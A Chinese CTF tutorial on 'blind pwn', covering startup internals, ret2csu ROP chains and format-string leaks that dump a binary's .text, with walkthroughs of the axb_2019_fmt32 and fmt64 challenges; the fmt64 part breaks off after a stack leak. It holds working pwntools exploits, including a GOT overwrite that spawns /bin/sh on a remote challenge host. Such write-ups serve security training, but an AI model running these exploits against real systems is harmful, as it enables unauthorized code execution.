文章首发于安全客 ,本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/196722
安全客 – 有思想的安全新媒体

0x01 写在前面

最近出现了许多次Bilnd Pwn的题目,故在这里总结一些常见的思路。

本文的部分内容引用了大佬的博客原文,已在文章末尾的参考链接中注明了原作者。

0x02 前置知识

程序的一般启动过程

callgraph

关于_start函数

本部分内容均为一个空的main函数的编译结果,源码如下:

int main()
{
}
//gcc -ggdb -o prog1 prog1.c

程序的启动

当你执行一个程序的时候,shell或者GUI会调用execve(),它会执行linux系统调用execve()。如果你想了解关于execve()函数,你可以简单的在shell中输入man execve。这些帮助来自于man手册(包含了所有系统调用)的第二节。简而言之,系统会为你设置栈,并且将argcargvenvp压入栈中。文件描述符0,1和2(stdin, stdout和stderr)保留shell之前的设置。加载器会帮你完成重定位,调用你设置的预初始化函数。当所有搞定之后,控制权会传递给_start()

_start函数的实现

080482e0 <_start>:
80482e0:       31 ed                   xor    %ebp,%ebp
80482e2:       5e                      pop    %esi
80482e3:       89 e1                   mov    %esp,%ecx
80482e5:       83 e4 f0                and    $0xfffffff0,%esp
80482e8:       50                      push   %eax
80482e9:       54                      push   %esp
80482ea:       52                      push   %edx
80482eb:       68 00 84 04 08          push   $0x8048400
80482f0:       68 a0 83 04 08          push   $0x80483a0
80482f5:       51                      push   %ecx
80482f6:       56                      push   %esi
80482f7:       68 94 83 04 08          push   $0x8048394
80482fc:       e8 c3 ff ff ff          call   80482c4 <__libc_start_main@plt>
8048301:       f4
  1. 任何值xor自身得到的结果都是0。所以xor %ebp,%ebp语句会把%ebp设置为0。ABI(Application Binary Interface specification)推荐这么做,目的是为了标记最外层函数的页帧(frame)。
  2. 接下来,从栈中弹出栈顶的值保存到%esi。在最开始的时候我们把argcargvenvp放到了栈里,所以现在的pop语句会把argc放到%esi中。这里只是临时保存一下,稍后我们会把它再次压回栈中。因为我们弹出了argc,所以%ebp现在指向的是argv
  3. mov指令把argv放到了%ecx中,但是并没有移动栈指针。
  4. 然后,将栈指针和一个可以清除后四位的掩码做and操作。根据当前栈指针的位置不同,栈指针将会向下移动0到15个字节。这么做,保证了任何情况下,栈指针都是16字节的偶数倍对齐的。对齐的目的是保证栈上所有的变量都能够被内存和cache快速的访问。要求这么做的是SSE,就是指令都能在单精度浮点数组上工作的那个(扩展指令集)。比如,某次运行时,_start函数刚被调用的时候,%esp处于0xbffff770
  5. 在我们从栈上弹出argc后,%esp指向0xbffff774。它向高地址移动了(往栈里存放数据,栈指针地址向下增长;从栈中取出数据,栈指针地址向上增长)。当对栈指针执行了and操作后,栈指针回到了0xbffff770
  6. 现在,我们把__libc_start_main函数的参数压入栈中。第一个参数%eax被压入栈中,里面保存了无效信息,原因是稍后会有七个参数将被压入栈中,但是为了保证16字节对齐,所以需要第八个参数。这个值也并不会被用到。
  7. %esp,存放了void (*stack_end),即为已被对齐的栈指针。
  8. %edx,存放了void (*rtld_fini)(void),即为加载器传到edx中的动态链接器的析构函数。被__libc_start_main函数通过__cxat_exit()注册,为我们已经加载的动态库调用FINI section
  9. %8048400,存放了void (*fini)(void),即为__libc_csu_fini——程序的析构函数。被__libc_start_main通过__cxat_exit()注册。
  10. %80483A0,存放了void (*init)(void),即为__libc_csu_init——程序的构造函数。于main函数之前被__libc_start_main函数调用。
  11. %ecx,存放了char **ubp_av,即为argv相对栈的偏移值。
  12. %esi,存放了argc,即为argc相对栈的偏移值。
  13. 0x8048394,存放了int (*main)(int,char**,char**),即为我们程序的main函数,被__libc_start_main函数调用main函数的返回值被传递给exit()函数,用于终结我们的程序。

__libc_start_main函数

__libc_start_main是在链接的时候从glibc复制过来的。在glibc的代码中,它位于csu/libc-start.c文件里。__libc_start_main的定义如下:

int __libc_start_main(  
    int (*main) (int, char **, char **),
    int argc, char ** ubp_av,
    void (*init) (void),
    void (*fini) (void),
    void (*rtld_fini) (void),
    void (* stack_end)
);

所以,我们期望_start函数能够将__libc_start_main需要的参数按照逆序压入栈中。

libc_start_main

关于__libc_csu_init函数的利用

__libc_csu_init函数的实现

.text:0000000000400840 ; ===================== S U B R O U T I N E ====================
.text:0000000000400840
.text:0000000000400840
.text:0000000000400840                 public __libc_csu_init
.text:0000000000400840 __libc_csu_init proc near               ; DATA XREF: _start+16
.text:0000000000400840                 push    r15
.text:0000000000400842                 mov     r15d, edi
.text:0000000000400845                 push    r14
.text:0000000000400847                 mov     r14, rsi
.text:000000000040084A                 push    r13
.text:000000000040084C                 mov     r13, rdx
.text:000000000040084F                 push    r12
.text:0000000000400851                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400858                 push    rbp
.text:0000000000400859                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400860                 push    rbx
.text:0000000000400861                 sub     rbp, r12
.text:0000000000400864                 xor     ebx, ebx
.text:0000000000400866                 sar     rbp, 3
.text:000000000040086A                 sub     rsp, 8
.text:000000000040086E                 call    _init_proc
.text:0000000000400873                 test    rbp, rbp
.text:0000000000400876                 jz      short loc_400896
.text:0000000000400878                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400880
.text:0000000000400880 loc_400880:                      ; CODE XREF: __libc_csu_init+54
.text:0000000000400880                 mov     rdx, r13
.text:0000000000400883                 mov     rsi, r14
.text:0000000000400886                 mov     edi, r15d
.text:0000000000400889                 call    qword ptr [r12+rbx*8]
.text:000000000040088D                 add     rbx, 1
.text:0000000000400891                 cmp     rbx, rbp
.text:0000000000400894                 jnz     short loc_400880
.text:0000000000400896
.text:0000000000400896 loc_400896:                      ; CODE XREF: __libc_csu_init+36
.text:0000000000400896                 add     rsp, 8
.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn
.text:00000000004008A4 __libc_csu_init endp
.text:00000000004008A4
.text:00000000004008A4 ; -------------------------------------------------------------------

可利用的ROP链构造

x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 中,那么我们可以很明显的看出一些gadget。

.text:000000000040084C      mov  R13 , rdx      ; R13  = rdx  = arg3
.text:0000000000400847      mov  R14 , rsi      ; R14  = rsi  = arg2
.text:0000000000400842      mov  R15d, edi      ; R15d = edi  = arg1
.text:0000000000400880      mov  rdx , R13      ; rdx  = R13  
.text:0000000000400883      mov  rsi , R14      ; rsi  = R14  
.text:0000000000400886      mov  edi , R15d     ; rdi  = R15d 

那么我们可以构造以下ROP链:

.text:0000000000400???          retn                        ; 漏洞函数的return,设置为0x40089A
.text:000000000040089A          pop   rbx                   ; 建议置零
.text:000000000040089B          pop   rbp                   ; 建议置1,以防跳入循环
.text:000000000040089C          pop   r12                   ; ROP链执行完毕后的返回地址
.text:000000000040089E          pop   r13                   ; RDX,即ROP链执行过程中跳入函数的arg3
.text:00000000004008A0          pop   r14                   ; RSI,即ROP链执行过程中跳入函数的arg2
.text:00000000004008A2          pop   r15                   ; EDI,即ROP链执行过程中跳入函数的arg1
.text:00000000004008A4          retn                        ; 设置为0x400880
.text:0000000000400880          mov   rdx, r13              ; ROP链执行过程中跳入函数的arg3
.text:0000000000400883          mov   rsi, r14              ; ROP链执行过程中跳入函数的arg2
.text:0000000000400886          mov   edi, r15d             ; ROP链执行过程中跳入函数的arg1
.text:0000000000400889          call  qword ptr [r12+rbx*8] ; CALL [R12]
.text:000000000040088D          add   rbx, 1                ; RBX = 0 -> RBX = 1
.text:0000000000400891          cmp   rbx, rbp              ; RBX = RBP = 1
.text:0000000000400894          jnz   short loc_400880      ; 跳转未实现
.text:0000000000400896          add   rsp, 8                ; 抬高栈顶
.text:000000000040089A          pop   rbx                   ; 
.text:000000000040089B          pop   rbp                   ; 
.text:000000000040089C          pop   r12                   ; 
.text:000000000040089E          pop   r13                   ; 
.text:00000000004008A0          pop   r14                   ; 
.text:00000000004008A2          pop   r15                   ; 
.text:00000000004008A4          retn                        ; 设置为下一步的返回地址

payload可以按如下方式布置:

pop_init = 0x40075A 
pop_init_next = 0x400740 
payload = '....'
payload += p64(pop_init)        #goto __libc_csu_init
payload += p64(0)               #pop rbx
payload += p64(1)               #pop ebp
payload += p64(got_xxx)         #pop r12
payload += p64(argv3)           #pop 13 = pop rdx
payload += p64(argv2)           #pop 14 = pop rsi
payload += p64(argv1)           #pop 15 = pop rdi
payload += p64(pop_init_next)   #ret
payload += '\x00' * 8 * 7       # pop 6 + RBP
payload += p64(addr_main)       #ret

错位构造gadget

pop rdi;ret;构造

在0x4008A2处的语句是pop r15;ret;,它的字节码是41 5f c3

pop rdi;ret;的字节码是5f c3

那么当EIP指向0x4008A3时,程序事实上将会执行pop rdi;ret;

pop rsi;pop r15;ret;构造

同理0x4008A0处的语句是pop r14;pop r15;ret;,它的字节码是41 5e 41 5f c3

pop rsi;pop r15;ret;的字节码是5e 41 5f c3

那么当EIP指向0x4008A1时,程序事实上将会执行pop rsi;pop r15;ret;

0x03 利用格式化字符串漏洞泄漏整个二进制文件

原理简述

格式化字符串的原理本文不再赘述,对于泄漏文件,我们常用的几个格式化控制符为:

  1. %N$p:以16进制的格式输出位于printf第N个参数位置的值;
  2. %N$s:以printf第N个参数位置的值为地址,输出这个地址指向的字符串的内容;
  3. %N$n:以printf第N个参数位置的值为地址,将输出过的字符数量的值写入这个地址中,对于32位elf而言,%n是写入4个字节,%hn是写入2个字节,%hhn是写入一个字节;
  4. %Nc:输出N个字符,这个可以配合%N$n使用,达到任意地址任意值写入的目的。

Demo

漏洞环境搭建

以下为Demo源码

//blind_pwn_printf_demo.c
#include <stdio.h>
#include <unistd.h>
int main()
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    char buf[100];
    while (1)
    {  
        read(STDIN_FILENO, buf, 100);
        rintf(buf);
        putchar('n');
    }
    return 0;
}
//gcc -z execstack -fno-stack-protector -no-pie -o blind_pwn_printf_demo_x64 blind_pwn_printf_demo.c
//gcc -z execstack -fno-stack-protector -no-pie -m32 -o blind_pwn_printf_demo_x32 blind_pwn_printf_demo.c

此处我们不再启用服务器,直接用process加载本地文件,试图泄漏出文件副本。

Leak Stack & Where is .text

这里我们使用%n$p来循环泄漏Stack数据,此处我们先泄露400byte的stack data。

def where_is_start():
    for i in range(100):
        payload = '%%%d$p.TMP' % (i)
        sh.sendline(payload)
        val = sh.recvuntil('.TMP')
        log.info(str(i*4)+' '+val.strip().ljust(10))
        sh.recvrepeat(0.2)

⚠️:此处%%=%%d=i、x32下每次泄漏4字节,因此有ix4

Leak result:

[*] 0 %0$p.TMP  
[*] 4 0xffd64ccc.TMP
[*] 8 0x64.TMP  
[*] 12 0xf7e006bb.TMP
[*] 16 0xffd64cee.TMP
[*] 20 0xffd64dec.TMP
[*] 24 0xe0.TMP  
[*] 28 0x70243725.TMP
[*] 32 0x504d542e.TMP
[*] 36 0xf7f6990a.TMP
[*] 40 0xffd64cf0.TMP
[*] 44 0x80482d5.TMP
[*] 48 (nil).TMP 
[*] 52 0xffd64d84.TMP
[*] 56 0xf7f22000.TMP
[*] 60 0x6f17.TMP
[*] 64 0xffffffff.TMP
[*] 68 0x2f.TMP  
[*] 72 0xf7d7cdc8.TMP
[*] 76 0xf7f3f1b0.TMP
[*] 80 0x8000.TMP
[*] 84 0xf7f22000.TMP
[*] 88 0xf7f20244.TMP
[*] 92 0xf7d880ec.TMP
[*] 96 0x1.TMP   
[*] 100 0x1.TMP   
[*] 104 0xf7d9ea50.TMP
[*] 108 0x80485eb.TMP
[*] 112 0x1.TMP   
[*] 116 0xffd64de4.TMP
[*] 120 0xffd64dec.TMP
[*] 124 0x80485c1.TMP
[*] 128 0xf7f223dc.TMP
[*] 132 0xffd64d50.TMP
[*] 136 (nil).TMP 
[*] 140 0xf7d88637.TMP
[*] 144 0xf7f22000.TMP
[*] 148 0xf7f22000.TMP
[*] 152 (nil).TMP 
[*] 156 0xf7d88637.TMP
[*] 160 0x1.TMP   
[*] 164 0xffd64de4.TMP
[*] 168 0xffd64dec.TMP
[*] 172 (nil).TMP 
[*] 176 (nil).TMP 
[*] 180 (nil).TMP 
[*] 184 0xf7f22000.TMP
[*] 188 0xf7f69c04.TMP
[*] 192 0xf7f69000.TMP
[*] 196 (nil).TMP 
[*] 200 0xf7f22000.TMP
[*] 204 0xf7f22000.TMP
[*] 208 (nil).TMP 
[*] 212 0xc2983082.TMP
[*] 216 0xdf097e92.TMP
[*] 220 (nil).TMP 
[*] 224 (nil).TMP 
[*] 228 (nil).TMP 
[*] 232 0x1.TMP   
[*] 236 0x8048420.TMP
[*] 240 (nil).TMP 
[*] 244 0xf7f5a010.TMP
[*] 248 0xf7f54880.TMP
[*] 252 0xf7f69000.TMP
[*] 256 0x1.TMP   
[*] 260 0x8048420.TMP
[*] 264 (nil).TMP 
[*] 268 0x8048441.TMP
[*] 272 0x804851b.TMP
[*] 276 0x1.TMP   
[*] 280 0xffd64de4.TMP
[*] 284 0x80485a0.TMP
[*] 288 0x8048600.TMP
[*] 292 0xf7f54880.TMP
[*] 296 0xffd64ddc.TMP
[*] 300 0xf7f69918.TMP
[*] 304 0x1.TMP   
[*] 308 0xffd66246.TMP
[*] 312 (nil).TMP 
[*] 316 0xffd66262.TMP
[*] 320 0xffd66283.TMP
[*] 324 0xffd662b7.TMP
[*] 328 0xffd662e3.TMP
[*] 332 0xffd66303.TMP
[*] 336 0xffd66318.TMP
[*] 340 0xffd6632a.TMP
[*] 344 0xffd6633b.TMP
[*] 348 0xffd66349.TMP
[*] 352 0xffd663de.TMP
[*] 356 0xffd663e9.TMP
[*] 360 0xffd66400.TMP
[*] 364 0xffd6640b.TMP
[*] 368 0xffd6641c.TMP
[*] 372 0xffd66430.TMP
[*] 376 0xffd66440.TMP
[*] 380 0xffd6647a.TMP
[*] 384 0xffd664a0.TMP
[*] 388 0xffd664af.TMP
[*] 392 0xffd66501.TMP
[*] 396 0xffd66509.TMP

我们希望能从泄露的数据中获取_start函数的地址,而_start函数正是.text(代码段)的起始地址。

此处我们发现了在泄露序号为236和260的位置出现了相同的明显位于.text段中的相同地址,这就是_start函数的地址。

Dump .text

首先,我们需要先确定我们的格式化字符串位置,再利用格式化字符串漏洞中的任意地址读漏洞来dump整个.text段。

已知我们输入的字符串一定是%N$p,转换成十六进制就是0x25??2470,由于数据在内存中是逆序存储的,很容易可以发现,当N=7时,回显的是[*] 28 0x70243725.TMP,也就是说,我们接下来要使用%8$s+addr的格式化控制符来泄露代码段数据。

⚠️此处注意:%s进行输出时实际上是x00截断的,但是.text段中不可避免会出现x00,但是我们注意到还有一个特性,如果对一个x00的地址进行leak,返回是没有结果的,因此如果返回没有结果,我们就可以确定这个地址的值为x00,所以可以设置为x00然后将地址加1进行dump。

def dump_text(start_addr=0):
    text_segment=''
    try:
        while True:
            payload = 'Leak--->%11$s<-|'+p32(start_addr)
            sh.sendline(payload)
            sh.recvuntil('Leak--->')
            value = sh.recvuntil('<-|').strip('<-|')
            text_segment += value
            start_addr += len(value)
            if(len(value)==0):
                text_segment += '\x00'
                start_addr += 1
            if(text_segment[-9:-1]=='\x00'*8):
                break
    except Exception as e:
        print(e)
    finally:
        log.info('We get ' + str(len(text_segment)) +'byte file!')
        with open('blind_pwn_printf_demo_x32_dump','wb') as fout:
            fout.write(text_segment)

接下来我们使用IDA对我们Dump出的文件进行分析

⚠️:如果分析结果与理论结果不同,请将dump文件与正确文件进行逐字节比对!

IDA文件修复

image-20191225193101498

我们知道,因为是我们dump出的文件,因此IDA无法识别它的文件类型,我们直接加载为Binary File

此处我们已经获知了.text段的偏移,于是我们加入这个offset。

image-20191225195759960

我们发现默认情形下程序就为我们分析出了三个函数。

image-20191226152649523

但我们显然知道我们的.text段起始即为_start函数,于是我们手动强制分析其为函数。

image-20191226152830514

此处我们需要引入关于程序启动的实现说明。

callgraph

可以看出,_start函数将会调用__libc_start_main函数,而该函数并不在.text段中,因此我们无法对其进行分析。具体的_start函数放在了前置知识一栏。也就是此处几个压栈操作压入了main函数的地址,紧接着程序调用的是__libc_start_main函数,那么显然0x080483F0处的函数为__libc_start_main函数,0x804851B的函数为main()函数。跟进分析main(),发现自动分析的汇编码非常混乱,于是使用重定义函数的方法予以解决,首先取消所有函数的定义,然后在00x804851B处再次定义函数。

image-20191226152910199

F5查看反编译码

image-20191226153047734

我们至少能够从参数列表推测出readprintf函数,对于缓冲区比较熟悉的话也能看出setbufstdinstdoutstderr

也就是:

read@plt:0x80483D0
printf@plt:0x80483E0
setbuf@plt:0x80483C0

利用劫持got的方式劫持EIP或者利用stack overflow的方式劫持EIP的具体操作不再赘述。

最终Leak脚本

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./blind_pwn_printf_demo_x32")

def where_is_start(ret_index=null):
    return_addr=0
    for i in range(100):
        payload = '%%%d$p.TMP' % (i)
        sh.sendline(payload)
        val = sh.recvuntil('.TMP')
        log.info(str(i*4)+' '+val.strip().ljust(10))
        if(i*4==ret_index):
            return_addr=int(val.strip('.TMP').ljust(10)[2:],16)
            return return_addr
        sh.recvrepeat(0.2)

def dump_text(start_addr=0):
    text_segment=''
    try:
        while True:
            payload = 'Leak--->%11$s<-|'+p32(start_addr)
            sh.sendline(payload)
            sh.recvuntil('Leak--->')
            value = sh.recvuntil('<-|').strip('<-|')
            text_segment += value
            start_addr += len(value)
            if(len(value)==0):
                text_segment += '\x00'
                start_addr += 1
            if(text_segment[-9:-1]=='\x00'*8):
                break
    except Exception as e:
        print(e)
    finally:
        log.info('We get ' + str(len(text_segment)) +'byte file!')
        with open('blind_pwn_printf_demo_x32_dump','wb') as fout:
            fout.write(text_segment)

start_addr=where_is_start()
dump_text(start_addr)

使用方法:首先注释dump_text函数,查看leak结果,并确定_start函数位置,将位置填入where_is_start()的参数区域,解除dump_text函数的注释。

以axb_2019_fmt32为例

⚠️:本题目在BUUOJ上已被搭建,但是题目给出了源文件,原题为盲打题目,此处也只利用nc接口解题。

Leak Stack & Where is .text

这里泄露的数据中出现了大量的(nil),重复部分已被隐去。

[*] 0 %0$p      
[*] 4 0x804888d 
[*] 8 0xff8e45ef
[*] 12 0xf7f4d53c
[*] 16 0xff8e45f8
[*] 20 0xf7f295c5
[*] 24 0x13      
[*] 28 0x258e46e4
[*] 32 0x3c702438
[*] 36 0xa7c2d2d 
[*] 40 0xa       
[*] 44 (nil)     
....... (nil)       
[*] 284 (nil)     
[*] 288 0x65706552
[*] 292 0x72657461
[*] 296 0x3437253a
[*] 300 0x2d3c7024
[*] 304 0xa0a7c2d 
[*] 308 (nil)     
....... (nil)    
[*] 584 (nil)     
[*] 588 0xb9008800
[*] 592 0xf7f1b3dc
[*] 596 0xff8e4840
[*] 600 (nil)     
[*] 604 0xf7d83637
[*] 608 0xf7f1b000
[*] 612 0xf7f1b000
[*] 616 (nil)     
[*] 620 0xf7d83637
[*] 624 0x1       
[*] 628 0xff8e48d4
[*] 632 0xff8e48dc
[*] 636 (nil)     
[*] 640 (nil)     
[*] 644 (nil)     
[*] 648 0xf7f1b000
[*] 652 0xf7f4dc04
[*] 656 0xf7f4d000
[*] 660 (nil)     
[*] 664 0xf7f1b000
[*] 668 0xf7f1b000
[*] 672 (nil)     
[*] 676 0x7d0c2af6
[*] 680 0xd1f744e6
[*] 684 (nil)     
[*] 688 (nil)     
[*] 692 (nil)     
[*] 696 0x1       
[*] 700 0x8048500 
[*] 704 (nil)     
[*] 708 0xf7f3dff0
[*] 712 0xf7f38880
[*] 716 0xf7f4d000
[*] 720 0x1       
[*] 724 0x8048500 
[*] 728 (nil)     
[*] 732 0x8048521 
[*] 736 0x80485fb 
[*] 740 0x1       
[*] 744 0xff8e48d4
[*] 748 0x8048760 
[*] 752 0x80487c0 
[*] 756 0xf7f38880
[*] 760 0xff8e48cc
[*] 764 0xf7f4d918
[*] 768 0x1       
[*] 772 0xff8e5f37
[*] 776 (nil)     
[*] 780 0xff8e5f41
[*] 784 0xff8e5f57
[*] 788 0xff8e5f5f
[*] 792 0xff8e5f6a
[*] 796 0xff8e5f7f
[*] 800 0xff8e5fc1
[*] 804 0xff8e5fc7
[*] 808 0xff8e5fd5
[*] 812 (nil)     
[*] 816 0x20      
[*] 820 0xf7f28070
[*] 824 0x21      
[*] 828 0xf7f27000
[*] 832 0x10      
[*] 836 0xf8bfbff 
[*] 840 0x6       
[*] 844 0x1000    
[*] 848 0x11      
[*] 852 0x64      
[*] 856 0x3       
[*] 860 0x8048034 
[*] 864 0x4       
[*] 868 0x20      
[*] 872 0x5       
[*] 876 0x9       
[*] 880 0x7       
[*] 884 0xf7f29000
[*] 888 0x8       
[*] 892 (nil)     
[*] 896 0x9       
[*] 900 0x8048500 
[*] 904 0xb       
[*] 908 0x3e8     
[*] 912 0xc       
[*] 916 0x3e8     
[*] 920 0xd       
[*] 924 0x3e8     
[*] 928 0xe       
[*] 932 0x3e8     
[*] 936 0x17      
[*] 940 (nil)     
[*] 944 0x19      
[*] 948 0xff8e49ab
[*] 952 0x1a      
[*] 956 (nil)     
[*] 960 0x1f      
[*] 964 0xff8e5fee
[*] 968 0xf       
[*] 972 0xff8e49bb
[*] 976 (nil)     
[*] 980 (nil)     
[*] 984 0x3f000000
[*] 988 0x55b90088
[*] 992 0x5484b0ce
[*] 996 0x96a61291
[*] 1000 0x69827162
[*] 1004 0x363836  
[*] 1008 (nil)     
....... (nil)     
[*] 1112 (nil)    

此处我们发现了在泄露序号为700和724的位置出现了相同的明显位于.text段中的相同地址,这就是_start函数的地址。

同时也已经发现了格式化字符串位于288处,即偏移为72,构建偏移,泄露文件。

注意此处因为_start函数地址末尾以\x00结尾,那么我们首先先将地址+1,泄露完毕后再手动填入一字节\x31

IDA文件修复&分析

image-20191226171616950

填入偏移,修复_start函数,main函数,反编译。

image-20191226172727396

我们显然可以确定printf的plt表地址为0x8048470

泄露printf的got表地址

我们接下来泄露printf@plt也就是0x8048470处的指令内容,以获取printf@got的位置。

printf_plt=0x8048470
payload = 'Leak-->%78$s<-|'+p32(printf_plt)
sh.recvuntil('Please tell me:')
sh.sendline(payload)
sh.recvuntil('Repeater:Leak-->')
print(disasm(sh.recvuntil('<-|').strip('<-|')))

image-20191226173329938

Leak libc & Final exp

现在,我们只需要获取printf@got的内容即可计算出libc基址,并且劫持got表地址。

from pwn import *
import sys
context.log_level='debug'

libc=ELF("./libc-2.23.so")
sh = remote('node3.buuoj.cn', 26316)
# libc=ELF("/lib/i386-linux-gnu/libc.so.6")
# sh = process('../BUUOJ/Pwn/axb_2019_fmt32')

def where_is_start(ret_index=null):
    return_addr=0
    for i in range(400):
        payload = '%%%d$p<--|' % (i)
        sh.recvuntil('Please tell me:')
        sh.sendline(payload)
        sh.recvuntil('Repeater:')
        val = sh.recvuntil('<--|')
        log.info(str(i*4).ljust(4)+' '+val.strip('<--|').ljust(10))
        if(i*4==ret_index):
            return_addr=int(val.strip('<--|').ljust(10)[2:],16)
            return return_addr
        # sh.recvrepeat(0.2)

def dump_text(start_addr=0):
    text_segment=''
    try:
        while True:
            payload = 'Leak-->%78$s<-|'+p32(start_addr)
            sh.recvuntil('Please tell me:')
            sh.sendline(payload)
            sh.recvuntil('Repeater:Leak-->')
            value = sh.recvuntil('<-|').strip('<-|')
            text_segment += value
            start_addr += len(value)
            if(len(value)==0):
                text_segment += '\x00'
                start_addr += 1
            if(text_segment[-9:-1]=='\x00'*8):
                break
    except Exception as e:
        print(e)
    finally:
        log.info('We get ' + str(len(text_segment)) +'byte file!')
        with open('axb_2019_fmt32_dump','wb') as fout:
            fout.write(text_segment)

# start_addr=where_is_start(700)
# dump_text(0x08048501)
printf_plt=0x8048470
# payload = 'Leak-->%78$s<-|'+p32(printf_plt)
# sh.recvuntil('Please tell me:')
# sh.sendline(payload)
# sh.recvuntil('Repeater:Leak-->')
# print(disasm(sh.recvuntil('<-|').strip('<-|')))
printf_got=0x804a014
payload = 'Leak-->%78$s<-|'+p32(printf_got)
sh.recvuntil('Please tell me:')
sh.sendline(payload)
sh.recvuntil('Repeater:Leak-->')
printf_addr=u32(sh.recvuntil('<-|')[:4])
libc_addr=printf_addr-libc.symbols['printf']
system_addr=libc_addr+libc.symbols['system']
log.success("libc base address is "+str(hex(libc_addr)))
log.success("system address is "+str(hex(system_addr)))
system_addr_byte_1 = system_addr & 0xff
system_addr_byte_2 = (system_addr % 0xffff00) >> 8
payload  = '%' + str(system_addr_byte_1 - 9) + 'c' + '%87$hhn'
payload += '%' + str(system_addr_byte_2 - system_addr_byte_1 + 9 - 0x100) + 'c' + '%88$hn'
payload  = payload.ljust(0x32+1)
payload += p32(printf_got)+p32(printf_got+1)
sh.recvuntil('Please tell me:')
sh.sendline(payload)
# gdb.attach(sh)
sh.sendline(';/bin/sh\x00')
sh.interactive()
# print(sh.recv())

以axb_2019_fmt64为例

⚠️:本题目在BUUOJ上已被搭建,但是题目给出了源文件,原题为盲打题目,此处也只利用nc接口解题。

题目给了一个txt文件,内容如下:

$ readelf -s stilltest

Symbol table '.dynsym' contains 15 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sprintf@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    12: 0000000000601080     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (2)
    13: 0000000000601090     8 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.2.5 (2)
    14: 00000000006010a0     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (2)

我们还是先尝试泄露源文件。

Leak Stack & Where is .text

这里泄露的数据中出现了大量的(nil),重复部分已被隐去。

[*] 0    %0$p      
[*] 8    0x1       
[*] 16   0xfffffffffff80000
[*] 24   (nil)     
[*] 32   0xffff    
[*] 40   0x13      
[*] 48   0x7f8314c7d410
[*] 56   0x1315257000
[*] 64   0x7c2d2d3c70243825
[*] 72   0xa       
[*] 80   (nil)     
[*] ..   (nil)   
[*] 312  (nil)     
[*] 320  0x300     
[*] 328  (nil)     
[*] 336  0x7265746165706552
[*] 344  0x2d3c70243334253a
[*] 352  0xa0a7c2d 
[*] 360  (nil)     
[*] ...  (nil)
[*] 632  (nil)     
[*] 640  0x7ffc76aacae0
[*] 648  0x3288869db05f6500
[*] 656  0x400970  
[*] 664  0x7f8314c8d830
[*] 672  (nil)     
[*] 680  0x7ffc76aacae8
[*] 688  0x100000000
[*] 696  0x400816  
[*] 704  (nil)     
[*] 712  0x313646518db913f1
[*] 720  0x400720  
[*] 728  0x7ffc76aacae0
[*] 736  (nil)     
[*] 744  (nil)     
[*] 752  0xceceab840b7913f1
[*] 760  0xce306f40308913f1
[*] 768  (nil)     
[*] 776  (nil)     
[*] 784  (nil)     
[*] 792  0x7ffc76aacaf8
[*] 800  0x7f831525e168
[*] 808  0x7f83150477db
[*] 816  (nil)     
[*] 824  (nil)     
[*] 832  0x400720  
[*] 840  0x7ffc76aacae0
[*] 848  (nil)     
[*] 856  0x400749  
[*] 864  0x7ffc76aacad8
[*] 872  0x1c      
[*] 880  0x1       
[*] 888  0x7ffc76aacf37
[*] 896  (nil)     
[*] 904  0x7ffc76aacf41
[*] 912  0x7ffc76aacf57
[*] 920  0x7ffc76aacf5f
[*] 928  0x7ffc76aacf6a
[*] 936  0x7ffc76aacf7f
[*] 944  0x7ffc76aacfc1
[*] 952  0x7ffc76aacfc7
[*] 960  0x7ffc76aacfd5
[*] 968  (nil)     
[*] 976  0x21      
[*] 984  0x7ffc76bcf000
[*] 992  0x10      
[*] 1000 0xf8bfbff 
[*] 1008 0x6       
[*] 1016 0x1000    
[*] 1024 0x11      
[*] 1032 0x64      
[*] 1040 0x3       
[*] 1048 0x400040  
[*] 1056 0x4       
[*] 1064 0x38      
[*] 1072 0x5       
[*] 1080 0x9       
[*] 1088 0x7       
[*] 1096 0x7f8315037000
[*] 1104 0x8       
[*] 1112 (nil)     
[*] 1120 0x9       
[*] 1128 0x400720  
[*] 1136 0xb       
[*] 1144 0x3e8     
[*] 1152 0xc       
[*] 1160 0x3e8     
[*] 1168 0xd       
[*] 1176 0x3e8     
[*] 1184 0xe       
[*] 1192 0x3e8     
[*] 1200 0x17      
[*] 1208 (nil)     
[*] 1216 0x19      
[*] 1224 0x7ffc76aacc89
[*] 1232 0x1a      
[*] 1240 (nil)     
[*] 1248 0x1f      
[*] 1256 0x7ffc76aacfee
[*] 1264 0xf       
[*] 1272 0x7ffc76aacc99
[*] 1280 (nil)     
[*] 1288 (nil)     
[*] 1296 (nil)     
